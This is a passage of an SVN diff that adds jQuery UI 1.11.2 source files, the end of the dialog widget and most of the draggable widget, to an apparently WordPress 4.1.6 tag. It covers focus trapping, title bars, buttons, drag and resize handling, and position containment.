+				if ( event.keyCode !== $.ui.keyCode.TAB || event.isDefaultPrevented() ) {
+					return;
+				}
+				var tabbables = this.uiDialog.find( ":tabbable" ),
+					first = tabbables.filter( ":first" ),
+					last = tabbables.filter( ":last" );
+
+				if ( ( event.target === last[0] || event.target === this.uiDialog[0] ) && !event.shiftKey ) {
+					this._delay(function() {
+						first.focus();
+					});
+					event.preventDefault();
+				} else if ( ( event.target === first[0] || event.target === this.uiDialog[0] ) && event.shiftKey ) {
+					this._delay(function() {
+						last.focus();
+					});
+					event.preventDefault();
+				}
+			},
+			mousedown: function( event ) {
+				if ( this._moveToTop( event ) ) {
+					this._focusTabbable();
+				}
+			}
+		});
+
+		// We assume that any existing aria-describedby attribute means
+		// that the dialog content is marked up properly
+		// otherwise we brute force the content as the description
+		if ( !this.element.find( "[aria-describedby]" ).length ) {
+			this.uiDialog.attr({
+				"aria-describedby": this.element.uniqueId().attr( "id" )
+			});
+		}
+	},
+
+	_createTitlebar: function() {
+		var uiDialogTitle;
+
+		this.uiDialogTitlebar = $( "<div>" )
+			.addClass( "ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix" )
+			.prependTo( this.uiDialog );
+		this._on( this.uiDialogTitlebar, {
+			mousedown: function( event ) {
+				// Don't prevent click on close button (#8838)
+				// Focusing a dialog that is partially scrolled out of view
+				// causes the browser to scroll it into view, preventing the click event
+				if ( !$( event.target ).closest( ".ui-dialog-titlebar-close" ) ) {
+					// Dialog isn't getting focus when dragging (#8063)
+					this.uiDialog.focus();
+				}
+			}
+		});
+
+		// support: IE
+		// Use type="button" to prevent enter keypresses in textboxes from closing the
+		// dialog in IE (#9312)
+		this.uiDialogTitlebarClose = $( "<button type='button'></button>" )
+			.button({
+				label: this.options.closeText,
+				icons: {
+					primary: "ui-icon-closethick"
+				},
+				text: false
+			})
+			.addClass( "ui-dialog-titlebar-close" )
+			.appendTo( this.uiDialogTitlebar );
+		this._on( this.uiDialogTitlebarClose, {
+			click: function( event ) {
+				event.preventDefault();
+				this.close( event );
+			}
+		});
+
+		uiDialogTitle = $( "<span>" )
+			.uniqueId()
+			.addClass( "ui-dialog-title" )
+			.prependTo( this.uiDialogTitlebar );
+		this._title( uiDialogTitle );
+
+		this.uiDialog.attr({
+			"aria-labelledby": uiDialogTitle.attr( "id" )
+		});
+	},
+
+	_title: function( title ) {
+		if ( !this.options.title ) {
+			title.html( "&#160;" );
+		}
+		title.text( this.options.title );
+	},
+
+	_createButtonPane: function() {
+		this.uiDialogButtonPane = $( "<div>" )
+			.addClass( "ui-dialog-buttonpane ui-widget-content ui-helper-clearfix" );
+
+		this.uiButtonSet = $( "<div>" )
+			.addClass( "ui-dialog-buttonset" )
+			.appendTo( this.uiDialogButtonPane );
+
+		this._createButtons();
+	},
+
+	_createButtons: function() {
+		var that = this,
+			buttons = this.options.buttons;
+
+		// if we already have a button pane, remove it
+		this.uiDialogButtonPane.remove();
+		this.uiButtonSet.empty();
+
+		if ( $.isEmptyObject( buttons ) || ($.isArray( buttons ) && !buttons.length) ) {
+			this.uiDialog.removeClass( "ui-dialog-buttons" );
+			return;
+		}
+
+		$.each( buttons, function( name, props ) {
+			var click, buttonOptions;
+			props = $.isFunction( props ) ?
+				{ click: props, text: name } :
+				props;
+			// Default to a non-submitting button
+			props = $.extend( { type: "button" }, props );
+			// Change the context for the click callback to be the main element
+			click = props.click;
+			props.click = function() {
+				click.apply( that.element[ 0 ], arguments );
+			};
+			buttonOptions = {
+				icons: props.icons,
+				text: props.showText
+			};
+			delete props.icons;
+			delete props.showText;
+			$( "<button></button>", props )
+				.button( buttonOptions )
+				.appendTo( that.uiButtonSet );
+		});
+		this.uiDialog.addClass( "ui-dialog-buttons" );
+		this.uiDialogButtonPane.appendTo( this.uiDialog );
+	},
+
+	_makeDraggable: function() {
+		var that = this,
+			options = this.options;
+
+		function filteredUi( ui ) {
+			return {
+				position: ui.position,
+				offset: ui.offset
+			};
+		}
+
+		this.uiDialog.draggable({
+			cancel: ".ui-dialog-content, .ui-dialog-titlebar-close",
+			handle: ".ui-dialog-titlebar",
+			containment: "document",
+			start: function( event, ui ) {
+				$( this ).addClass( "ui-dialog-dragging" );
+				that._blockFrames();
+				that._trigger( "dragStart", event, filteredUi( ui ) );
+			},
+			drag: function( event, ui ) {
+				that._trigger( "drag", event, filteredUi( ui ) );
+			},
+			stop: function( event, ui ) {
+				var left = ui.offset.left - that.document.scrollLeft(),
+					top = ui.offset.top - that.document.scrollTop();
+
+				options.position = {
+					my: "left top",
+					at: "left" + (left >= 0 ? "+" : "") + left + " " +
+						"top" + (top >= 0 ? "+" : "") + top,
+					of: that.window
+				};
+				$( this ).removeClass( "ui-dialog-dragging" );
+				that._unblockFrames();
+				that._trigger( "dragStop", event, filteredUi( ui ) );
+			}
+		});
+	},
+
+	_makeResizable: function() {
+		var that = this,
+			options = this.options,
+			handles = options.resizable,
+			// .ui-resizable has position: relative defined in the stylesheet
+			// but dialogs have to use absolute or fixed positioning
+			position = this.uiDialog.css("position"),
+			resizeHandles = typeof handles === "string" ?
+				handles	:
+				"n,e,s,w,se,sw,ne,nw";
+
+		function filteredUi( ui ) {
+			return {
+				originalPosition: ui.originalPosition,
+				originalSize: ui.originalSize,
+				position: ui.position,
+				size: ui.size
+			};
+		}
+
+		this.uiDialog.resizable({
+			cancel: ".ui-dialog-content",
+			containment: "document",
+			alsoResize: this.element,
+			maxWidth: options.maxWidth,
+			maxHeight: options.maxHeight,
+			minWidth: options.minWidth,
+			minHeight: this._minHeight(),
+			handles: resizeHandles,
+			start: function( event, ui ) {
+				$( this ).addClass( "ui-dialog-resizing" );
+				that._blockFrames();
+				that._trigger( "resizeStart", event, filteredUi( ui ) );
+			},
+			resize: function( event, ui ) {
+				that._trigger( "resize", event, filteredUi( ui ) );
+			},
+			stop: function( event, ui ) {
+				var offset = that.uiDialog.offset(),
+					left = offset.left - that.document.scrollLeft(),
+					top = offset.top - that.document.scrollTop();
+
+				options.height = that.uiDialog.height();
+				options.width = that.uiDialog.width();
+				options.position = {
+					my: "left top",
+					at: "left" + (left >= 0 ? "+" : "") + left + " " +
+						"top" + (top >= 0 ? "+" : "") + top,
+					of: that.window
+				};
+				$( this ).removeClass( "ui-dialog-resizing" );
+				that._unblockFrames();
+				that._trigger( "resizeStop", event, filteredUi( ui ) );
+			}
+		})
+		.css( "position", position );
+	},
+
+	_trackFocus: function() {
+		this._on( this.widget(), {
+			focusin: function( event ) {
+				this._makeFocusTarget();
+				this._focusedElement = $( event.target );
+			}
+		});
+	},
+
+	_makeFocusTarget: function() {
+		this._untrackInstance();
+		this._trackingInstances().unshift( this );
+	},
+
+	_untrackInstance: function() {
+		var instances = this._trackingInstances(),
+			exists = $.inArray( this, instances );
+		if ( exists !== -1 ) {
+			instances.splice( exists, 1 );
+		}
+	},
+
+	_trackingInstances: function() {
+		var instances = this.document.data( "ui-dialog-instances" );
+		if ( !instances ) {
+			instances = [];
+			this.document.data( "ui-dialog-instances", instances );
+		}
+		return instances;
+	},
+
+	_minHeight: function() {
+		var options = this.options;
+
+		return options.height === "auto" ?
+			options.minHeight :
+			Math.min( options.minHeight, options.height );
+	},
+
+	_position: function() {
+		// Need to show the dialog to get the actual offset in the position plugin
+		var isVisible = this.uiDialog.is( ":visible" );
+		if ( !isVisible ) {
+			this.uiDialog.show();
+		}
+		this.uiDialog.position( this.options.position );
+		if ( !isVisible ) {
+			this.uiDialog.hide();
+		}
+	},
+
+	_setOptions: function( options ) {
+		var that = this,
+			resize = false,
+			resizableOptions = {};
+
+		$.each( options, function( key, value ) {
+			that._setOption( key, value );
+
+			if ( key in that.sizeRelatedOptions ) {
+				resize = true;
+			}
+			if ( key in that.resizableRelatedOptions ) {
+				resizableOptions[ key ] = value;
+			}
+		});
+
+		if ( resize ) {
+			this._size();
+			this._position();
+		}
+		if ( this.uiDialog.is( ":data(ui-resizable)" ) ) {
+			this.uiDialog.resizable( "option", resizableOptions );
+		}
+	},
+
+	_setOption: function( key, value ) {
+		var isDraggable, isResizable,
+			uiDialog = this.uiDialog;
+
+		if ( key === "dialogClass" ) {
+			uiDialog
+				.removeClass( this.options.dialogClass )
+				.addClass( value );
+		}
+
+		if ( key === "disabled" ) {
+			return;
+		}
+
+		this._super( key, value );
+
+		if ( key === "appendTo" ) {
+			this.uiDialog.appendTo( this._appendTo() );
+		}
+
+		if ( key === "buttons" ) {
+			this._createButtons();
+		}
+
+		if ( key === "closeText" ) {
+			this.uiDialogTitlebarClose.button({
+				// Ensure that we always pass a string
+				label: "" + value
+			});
+		}
+
+		if ( key === "draggable" ) {
+			isDraggable = uiDialog.is( ":data(ui-draggable)" );
+			if ( isDraggable && !value ) {
+				uiDialog.draggable( "destroy" );
+			}
+
+			if ( !isDraggable && value ) {
+				this._makeDraggable();
+			}
+		}
+
+		if ( key === "position" ) {
+			this._position();
+		}
+
+		if ( key === "resizable" ) {
+			// currently resizable, becoming non-resizable
+			isResizable = uiDialog.is( ":data(ui-resizable)" );
+			if ( isResizable && !value ) {
+				uiDialog.resizable( "destroy" );
+			}
+
+			// currently resizable, changing handles
+			if ( isResizable && typeof value === "string" ) {
+				uiDialog.resizable( "option", "handles", value );
+			}
+
+			// currently non-resizable, becoming resizable
+			if ( !isResizable && value !== false ) {
+				this._makeResizable();
+			}
+		}
+
+		if ( key === "title" ) {
+			this._title( this.uiDialogTitlebar.find( ".ui-dialog-title" ) );
+		}
+	},
+
+	_size: function() {
+		// If the user has resized the dialog, the .ui-dialog and .ui-dialog-content
+		// divs will both have width and height set, so we need to reset them
+		var nonContentHeight, minContentHeight, maxContentHeight,
+			options = this.options;
+
+		// Reset content sizing
+		this.element.show().css({
+			width: "auto",
+			minHeight: 0,
+			maxHeight: "none",
+			height: 0
+		});
+
+		if ( options.minWidth > options.width ) {
+			options.width = options.minWidth;
+		}
+
+		// reset wrapper sizing
+		// determine the height of all the non-content elements
+		nonContentHeight = this.uiDialog.css({
+				height: "auto",
+				width: options.width
+			})
+			.outerHeight();
+		minContentHeight = Math.max( 0, options.minHeight - nonContentHeight );
+		maxContentHeight = typeof options.maxHeight === "number" ?
+			Math.max( 0, options.maxHeight - nonContentHeight ) :
+			"none";
+
+		if ( options.height === "auto" ) {
+			this.element.css({
+				minHeight: minContentHeight,
+				maxHeight: maxContentHeight,
+				height: "auto"
+			});
+		} else {
+			this.element.height( Math.max( 0, options.height - nonContentHeight ) );
+		}
+
+		if ( this.uiDialog.is( ":data(ui-resizable)" ) ) {
+			this.uiDialog.resizable( "option", "minHeight", this._minHeight() );
+		}
+	},
+
+	_blockFrames: function() {
+		this.iframeBlocks = this.document.find( "iframe" ).map(function() {
+			var iframe = $( this );
+
+			return $( "<div>" )
+				.css({
+					position: "absolute",
+					width: iframe.outerWidth(),
+					height: iframe.outerHeight()
+				})
+				.appendTo( iframe.parent() )
+				.offset( iframe.offset() )[0];
+		});
+	},
+
+	_unblockFrames: function() {
+		if ( this.iframeBlocks ) {
+			this.iframeBlocks.remove();
+			delete this.iframeBlocks;
+		}
+	},
+
+	_allowInteraction: function( event ) {
+		if ( $( event.target ).closest( ".ui-dialog" ).length ) {
+			return true;
+		}
+
+		// TODO: Remove hack when datepicker implements
+		// the .ui-front logic (#8989)
+		return !!$( event.target ).closest( ".ui-datepicker" ).length;
+	},
+
+	_createOverlay: function() {
+		if ( !this.options.modal ) {
+			return;
+		}
+
+		// We use a delay in case the overlay is created from an
+		// event that we're going to be cancelling (#2804)
+		var isOpening = true;
+		this._delay(function() {
+			isOpening = false;
+		});
+
+		if ( !this.document.data( "ui-dialog-overlays" ) ) {
+
+			// Prevent use of anchors and inputs
+			// Using _on() for an event handler shared across many instances is
+			// safe because the dialogs stack and must be closed in reverse order
+			this._on( this.document, {
+				focusin: function( event ) {
+					if ( isOpening ) {
+						return;
+					}
+
+					if ( !this._allowInteraction( event ) ) {
+						event.preventDefault();
+						this._trackingInstances()[ 0 ]._focusTabbable();
+					}
+				}
+			});
+		}
+
+		this.overlay = $( "<div>" )
+			.addClass( "ui-widget-overlay ui-front" )
+			.appendTo( this._appendTo() );
+		this._on( this.overlay, {
+			mousedown: "_keepFocus"
+		});
+		this.document.data( "ui-dialog-overlays",
+			(this.document.data( "ui-dialog-overlays" ) || 0) + 1 );
+	},
+
+	_destroyOverlay: function() {
+		if ( !this.options.modal ) {
+			return;
+		}
+
+		if ( this.overlay ) {
+			var overlays = this.document.data( "ui-dialog-overlays" ) - 1;
+
+			if ( !overlays ) {
+				this.document
+					.unbind( "focusin" )
+					.removeData( "ui-dialog-overlays" );
+			} else {
+				this.document.data( "ui-dialog-overlays", overlays );
+			}
+
+			this.overlay.remove();
+			this.overlay = null;
+		}
+	}
+});
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/draggable.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/draggable.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/draggable.js	(revision 33402)
@@ -0,0 +1,1128 @@
+/*!
+ * jQuery UI Draggable 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/draggable/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./mouse",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+$.widget("ui.draggable", $.ui.mouse, {
+	version: "1.11.2",
+	widgetEventPrefix: "drag",
+	options: {
+		addClasses: true,
+		appendTo: "parent",
+		axis: false,
+		connectToSortable: false,
+		containment: false,
+		cursor: "auto",
+		cursorAt: false,
+		grid: false,
+		handle: false,
+		helper: "original",
+		iframeFix: false,
+		opacity: false,
+		refreshPositions: false,
+		revert: false,
+		revertDuration: 500,
+		scope: "default",
+		scroll: true,
+		scrollSensitivity: 20,
+		scrollSpeed: 20,
+		snap: false,
+		snapMode: "both",
+		snapTolerance: 20,
+		stack: false,
+		zIndex: false,
+
+		// callbacks
+		drag: null,
+		start: null,
+		stop: null
+	},
+	_create: function() {
+
+		if ( this.options.helper === "original" ) {
+			this._setPositionRelative();
+		}
+		if (this.options.addClasses){
+			this.element.addClass("ui-draggable");
+		}
+		if (this.options.disabled){
+			this.element.addClass("ui-draggable-disabled");
+		}
+		this._setHandleClassName();
+
+		this._mouseInit();
+	},
+
+	_setOption: function( key, value ) {
+		this._super( key, value );
+		if ( key === "handle" ) {
+			this._removeHandleClassName();
+			this._setHandleClassName();
+		}
+	},
+
+	_destroy: function() {
+		if ( ( this.helper || this.element ).is( ".ui-draggable-dragging" ) ) {
+			this.destroyOnClear = true;
+			return;
+		}
+		this.element.removeClass( "ui-draggable ui-draggable-dragging ui-draggable-disabled" );
+		this._removeHandleClassName();
+		this._mouseDestroy();
+	},
+
+	_mouseCapture: function(event) {
+		var o = this.options;
+
+		this._blurActiveElement( event );
+
+		// among others, prevent a drag on a resizable-handle
+		if (this.helper || o.disabled || $(event.target).closest(".ui-resizable-handle").length > 0) {
+			return false;
+		}
+
+		//Quit if we're not on a valid handle
+		this.handle = this._getHandle(event);
+		if (!this.handle) {
+			return false;
+		}
+
+		this._blockFrames( o.iframeFix === true ? "iframe" : o.iframeFix );
+
+		return true;
+
+	},
+
+	_blockFrames: function( selector ) {
+		this.iframeBlocks = this.document.find( selector ).map(function() {
+			var iframe = $( this );
+
+			return $( "<div>" )
+				.css( "position", "absolute" )
+				.appendTo( iframe.parent() )
+				.outerWidth( iframe.outerWidth() )
+				.outerHeight( iframe.outerHeight() )
+				.offset( iframe.offset() )[ 0 ];
+		});
+	},
+
+	_unblockFrames: function() {
+		if ( this.iframeBlocks ) {
+			this.iframeBlocks.remove();
+			delete this.iframeBlocks;
+		}
+	},
+
+	_blurActiveElement: function( event ) {
+		var document = this.document[ 0 ];
+
+		// Only need to blur if the event occurred on the draggable itself, see #10527
+		if ( !this.handleElement.is( event.target ) ) {
+			return;
+		}
+
+		// support: IE9
+		// IE9 throws an "Unspecified error" accessing document.activeElement from an <iframe>
+		try {
+
+			// Support: IE9, IE10
+			// If the <body> is blurred, IE will switch windows, see #9520
+			if ( document.activeElement && document.activeElement.nodeName.toLowerCase() !== "body" ) {
+
+				// Blur any element that currently has focus, see #4261
+				$( document.activeElement ).blur();
+			}
+		} catch ( error ) {}
+	},
+
+	_mouseStart: function(event) {
+
+		var o = this.options;
+
+		//Create and append the visible helper
+		this.helper = this._createHelper(event);
+
+		this.helper.addClass("ui-draggable-dragging");
+
+		//Cache the helper size
+		this._cacheHelperProportions();
+
+		//If ddmanager is used for droppables, set the global draggable
+		if ($.ui.ddmanager) {
+			$.ui.ddmanager.current = this;
+		}
+
+		/*
+		 * - Position generation -
+		 * This block generates everything position related - it's the core of draggables.
+		 */
+
+		//Cache the margins of the original element
+		this._cacheMargins();
+
+		//Store the helper's css position
+		this.cssPosition = this.helper.css( "position" );
+		this.scrollParent = this.helper.scrollParent( true );
+		this.offsetParent = this.helper.offsetParent();
+		this.hasFixedAncestor = this.helper.parents().filter(function() {
+				return $( this ).css( "position" ) === "fixed";
+			}).length > 0;
+
+		//The element's absolute position on the page minus margins
+		this.positionAbs = this.element.offset();
+		this._refreshOffsets( event );
+
+		//Generate the original position
+		this.originalPosition = this.position = this._generatePosition( event, false );
+		this.originalPageX = event.pageX;
+		this.originalPageY = event.pageY;
+
+		//Adjust the mouse offset relative to the helper if "cursorAt" is supplied
+		(o.cursorAt && this._adjustOffsetFromHelper(o.cursorAt));
+
+		//Set a containment if given in the options
+		this._setContainment();
+
+		//Trigger event + callbacks
+		if (this._trigger("start", event) === false) {
+			this._clear();
+			return false;
+		}
+
+		//Recache the helper size
+		this._cacheHelperProportions();
+
+		//Prepare the droppable offsets
+		if ($.ui.ddmanager && !o.dropBehaviour) {
+			$.ui.ddmanager.prepareOffsets(this, event);
+		}
+
+		// Reset helper's right/bottom css if they're set and set explicit width/height instead
+		// as this prevents resizing of elements with right/bottom set (see #7772)
+		this._normalizeRightBottom();
+
+		this._mouseDrag(event, true); //Execute the drag once - this causes the helper not to be visible before getting its correct position
+
+		//If the ddmanager is used for droppables, inform the manager that dragging has started (see #5003)
+		if ( $.ui.ddmanager ) {
+			$.ui.ddmanager.dragStart(this, event);
+		}
+
+		return true;
+	},
+
+	_refreshOffsets: function( event ) {
+		this.offset = {
+			top: this.positionAbs.top - this.margins.top,
+			left: this.positionAbs.left - this.margins.left,
+			scroll: false,
+			parent: this._getParentOffset(),
+			relative: this._getRelativeOffset()
+		};
+
+		this.offset.click = {
+			left: event.pageX - this.offset.left,
+			top: event.pageY - this.offset.top
+		};
+	},
+
+	_mouseDrag: function(event, noPropagation) {
+		// reset any necessary cached properties (see #5009)
+		if ( this.hasFixedAncestor ) {
+			this.offset.parent = this._getParentOffset();
+		}
+
+		//Compute the helpers position
+		this.position = this._generatePosition( event, true );
+		this.positionAbs = this._convertPositionTo("absolute");
+
+		//Call plugins and callbacks and use the resulting position if something is returned
+		if (!noPropagation) {
+			var ui = this._uiHash();
+			if (this._trigger("drag", event, ui) === false) {
+				this._mouseUp({});
+				return false;
+			}
+			this.position = ui.position;
+		}
+
+		this.helper[ 0 ].style.left = this.position.left + "px";
+		this.helper[ 0 ].style.top = this.position.top + "px";
+
+		if ($.ui.ddmanager) {
+			$.ui.ddmanager.drag(this, event);
+		}
+
+		return false;
+	},
+
+	_mouseStop: function(event) {
+
+		//If we are using droppables, inform the manager about the drop
+		var that = this,
+			dropped = false;
+		if ($.ui.ddmanager && !this.options.dropBehaviour) {
+			dropped = $.ui.ddmanager.drop(this, event);
+		}
+
+		//if a drop comes from outside (a sortable)
+		if (this.dropped) {
+			dropped = this.dropped;
+			this.dropped = false;
+		}
+
+		if ((this.options.revert === "invalid" && !dropped) || (this.options.revert === "valid" && dropped) || this.options.revert === true || ($.isFunction(this.options.revert) && this.options.revert.call(this.element, dropped))) {
+			$(this.helper).animate(this.originalPosition, parseInt(this.options.revertDuration, 10), function() {
+				if (that._trigger("stop", event) !== false) {
+					that._clear();
+				}
+			});
+		} else {
+			if (this._trigger("stop", event) !== false) {
+				this._clear();
+			}
+		}
+
+		return false;
+	},
+
+	_mouseUp: function( event ) {
+		this._unblockFrames();
+
+		//If the ddmanager is used for droppables, inform the manager that dragging has stopped (see #5003)
+		if ( $.ui.ddmanager ) {
+			$.ui.ddmanager.dragStop(this, event);
+		}
+
+		// Only need to focus if the event occurred on the draggable itself, see #10527
+		if ( this.handleElement.is( event.target ) ) {
+			// The interaction is over; whether or not the click resulted in a drag, focus the element
+			this.element.focus();
+		}
+
+		return $.ui.mouse.prototype._mouseUp.call(this, event);
+	},
+
+	cancel: function() {
+
+		if (this.helper.is(".ui-draggable-dragging")) {
+			this._mouseUp({});
+		} else {
+			this._clear();
+		}
+
+		return this;
+
+	},
+
+	_getHandle: function(event) {
+		return this.options.handle ?
+			!!$( event.target ).closest( this.element.find( this.options.handle ) ).length :
+			true;
+	},
+
+	_setHandleClassName: function() {
+		this.handleElement = this.options.handle ?
+			this.element.find( this.options.handle ) : this.element;
+		this.handleElement.addClass( "ui-draggable-handle" );
+	},
+
+	_removeHandleClassName: function() {
+		this.handleElement.removeClass( "ui-draggable-handle" );
+	},
+
+	_createHelper: function(event) {
+
+		var o = this.options,
+			helperIsFunction = $.isFunction( o.helper ),
+			helper = helperIsFunction ?
+				$( o.helper.apply( this.element[ 0 ], [ event ] ) ) :
+				( o.helper === "clone" ?
+					this.element.clone().removeAttr( "id" ) :
+					this.element );
+
+		if (!helper.parents("body").length) {
+			helper.appendTo((o.appendTo === "parent" ? this.element[0].parentNode : o.appendTo));
+		}
+
+		// http://bugs.jqueryui.com/ticket/9446
+		// a helper function can return the original element
+		// which wouldn't have been set to relative in _create
+		if ( helperIsFunction && helper[ 0 ] === this.element[ 0 ] ) {
+			this._setPositionRelative();
+		}
+
+		if (helper[0] !== this.element[0] && !(/(fixed|absolute)/).test(helper.css("position"))) {
+			helper.css("position", "absolute");
+		}
+
+		return helper;
+
+	},
+
+	_setPositionRelative: function() {
+		if ( !( /^(?:r|a|f)/ ).test( this.element.css( "position" ) ) ) {
+			this.element[ 0 ].style.position = "relative";
+		}
+	},
+
+	_adjustOffsetFromHelper: function(obj) {
+		if (typeof obj === "string") {
+			obj = obj.split(" ");
+		}
+		if ($.isArray(obj)) {
+			obj = { left: +obj[0], top: +obj[1] || 0 };
+		}
+		if ("left" in obj) {
+			this.offset.click.left = obj.left + this.margins.left;
+		}
+		if ("right" in obj) {
+			this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left;
+		}
+		if ("top" in obj) {
+			this.offset.click.top = obj.top + this.margins.top;
+		}
+		if ("bottom" in obj) {
+			this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top;
+		}
+	},
+
+	_isRootNode: function( element ) {
+		return ( /(html|body)/i ).test( element.tagName ) || element === this.document[ 0 ];
+	},
+
+	_getParentOffset: function() {
+
+		//Get the offsetParent and cache its position
+		var po = this.offsetParent.offset(),
+			document = this.document[ 0 ];
+
+		// This is a special case where we need to modify a offset calculated on start, since the following happened:
+		// 1. The position of the helper is absolute, so it's position is calculated based on the next positioned parent
+		// 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't the document, which means that
+		//    the scroll is included in the initial calculation of the offset of the parent, and never recalculated upon drag
+		if (this.cssPosition === "absolute" && this.scrollParent[0] !== document && $.contains(this.scrollParent[0], this.offsetParent[0])) {
+			po.left += this.scrollParent.scrollLeft();
+			po.top += this.scrollParent.scrollTop();
+		}
+
+		if ( this._isRootNode( this.offsetParent[ 0 ] ) ) {
+			po = { top: 0, left: 0 };
+		}
+
+		return {
+			top: po.top + (parseInt(this.offsetParent.css("borderTopWidth"), 10) || 0),
+			left: po.left + (parseInt(this.offsetParent.css("borderLeftWidth"), 10) || 0)
+		};
+
+	},
+
+	_getRelativeOffset: function() {
+		if ( this.cssPosition !== "relative" ) {
+			return { top: 0, left: 0 };
+		}
+
+		var p = this.element.position(),
+			scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] );
+
+		return {
+			top: p.top - ( parseInt(this.helper.css( "top" ), 10) || 0 ) + ( !scrollIsRootNode ? this.scrollParent.scrollTop() : 0 ),
+			left: p.left - ( parseInt(this.helper.css( "left" ), 10) || 0 ) + ( !scrollIsRootNode ? this.scrollParent.scrollLeft() : 0 )
+		};
+
+	},
+
+	_cacheMargins: function() {
+		this.margins = {
+			left: (parseInt(this.element.css("marginLeft"), 10) || 0),
+			top: (parseInt(this.element.css("marginTop"), 10) || 0),
+			right: (parseInt(this.element.css("marginRight"), 10) || 0),
+			bottom: (parseInt(this.element.css("marginBottom"), 10) || 0)
+		};
+	},
+
+	_cacheHelperProportions: function() {
+		this.helperProportions = {
+			width: this.helper.outerWidth(),
+			height: this.helper.outerHeight()
+		};
+	},
+
+	_setContainment: function() {
+
+		var isUserScrollable, c, ce,
+			o = this.options,
+			document = this.document[ 0 ];
+
+		this.relativeContainer = null;
+
+		if ( !o.containment ) {
+			this.containment = null;
+			return;
+		}
+
+		if ( o.containment === "window" ) {
+			this.containment = [
+				$( window ).scrollLeft() - this.offset.relative.left - this.offset.parent.left,
+				$( window ).scrollTop() - this.offset.relative.top - this.offset.parent.top,
+				$( window ).scrollLeft() + $( window ).width() - this.helperProportions.width - this.margins.left,
+				$( window ).scrollTop() + ( $( window ).height() || document.body.parentNode.scrollHeight ) - this.helperProportions.height - this.margins.top
+			];
+			return;
+		}
+
+		if ( o.containment === "document") {
+			this.containment = [
+				0,
+				0,
+				$( document ).width() - this.helperProportions.width - this.margins.left,
+				( $( document ).height() || document.body.parentNode.scrollHeight ) - this.helperProportions.height - this.margins.top
+			];
+			return;
+		}
+
+		if ( o.containment.constructor === Array ) {
+			this.containment = o.containment;
+			return;
+		}
+
+		if ( o.containment === "parent" ) {
+			o.containment = this.helper[ 0 ].parentNode;
+		}
+
+		c = $( o.containment );
+		ce = c[ 0 ];
+
+		if ( !ce ) {
+			return;
+		}
+
+		isUserScrollable = /(scroll|auto)/.test( c.css( "overflow" ) );
+
+		this.containment = [
+			( parseInt( c.css( "borderLeftWidth" ), 10 ) || 0 ) + ( parseInt( c.css( "paddingLeft" ), 10 ) || 0 ),
+			( parseInt( c.css( "borderTopWidth" ), 10 ) || 0 ) + ( parseInt( c.css( "paddingTop" ), 10 ) || 0 ),
+			( isUserScrollable ? Math.max( ce.scrollWidth, ce.offsetWidth ) : ce.offsetWidth ) -
+				( parseInt( c.css( "borderRightWidth" ), 10 ) || 0 ) -
+				( parseInt( c.css( "paddingRight" ), 10 ) || 0 ) -
+				this.helperProportions.width -
+				this.margins.left -
+				this.margins.right,
+			( isUserScrollable ? Math.max( ce.scrollHeight, ce.offsetHeight ) : ce.offsetHeight ) -
+				( parseInt( c.css( "borderBottomWidth" ), 10 ) || 0 ) -
+				( parseInt( c.css( "paddingBottom" ), 10 ) || 0 ) -
+				this.helperProportions.height -
+				this.margins.top -
+				this.margins.bottom
+		];
+		this.relativeContainer = c;
+	},
+
+	_convertPositionTo: function(d, pos) {
+
+		if (!pos) {
+			pos = this.position;
+		}
+
+		var mod = d === "absolute" ? 1 : -1,
+			scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] );
+
+		return {
+			top: (
+				pos.top	+																// The absolute mouse position
+				this.offset.relative.top * mod +										// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.parent.top * mod -										// The offsetParent's offset without borders (offset + border)
+				( ( this.cssPosition === "fixed" ? -this.offset.scroll.top : ( scrollIsRootNode ? 0 : this.offset.scroll.top ) ) * mod)
+			),
+			left: (
+				pos.left +																// The absolute mouse position
+				this.offset.relative.left * mod +										// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.parent.left * mod	-										// The offsetParent's offset without borders (offset + border)
+				( ( this.cssPosition === "fixed" ? -this.offset.scroll.left : ( scrollIsRootNode ? 0 : this.offset.scroll.left ) ) * mod)
+			)
+		};
+
+	},
+
+	_generatePosition: function( event, constrainPosition ) {
+
+		var containment, co, top, left,
+			o = this.options,
+			scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] ),
+			pageX = event.pageX,
+			pageY = event.pageY;
+
+		// Cache the scroll
+		if ( !scrollIsRootNode || !this.offset.scroll ) {
+			this.offset.scroll = {
+				top: this.scrollParent.scrollTop(),
+				left: this.scrollParent.scrollLeft()
+			};
+		}
+
+		/*
+		 * - Position constraining -
+		 * Constrain the position to a mix of grid, containment.
+		 */
+
+		// If we are not dragging yet, we won't check for options
+		if ( constrainPosition ) {
+			if ( this.containment ) {
+				if ( this.relativeContainer ){
+					co = this.relativeContainer.offset();
+					containment = [
+						this.containment[ 0 ] + co.left,
+						this.containment[ 1 ] + co.top,
+						this.containment[ 2 ] + co.left,
+						this.containment[ 3 ] + co.top
+					];
+				} else {
+					containment = this.containment;
+				}
+
+				if (event.pageX - this.offset.click.left < containment[0]) {
+					pageX = containment[0] + this.offset.click.left;
+				}
+				if (event.pageY - this.offset.click.top < containment[1]) {
+					pageY = containment[1] + this.offset.click.top;
+				}
+				if (event.pageX - this.offset.click.left > containment[2]) {
+					pageX = containment[2] + this.offset.click.left;
+				}
+				if (event.pageY - this.offset.click.top > containment[3]) {
+					pageY = containment[3] + this.offset.click.top;
+				}
+			}
+
+			if (o.grid) {
+				//Check for grid elements set to 0 to prevent divide by 0 error causing invalid argument errors in IE (see ticket #6950)
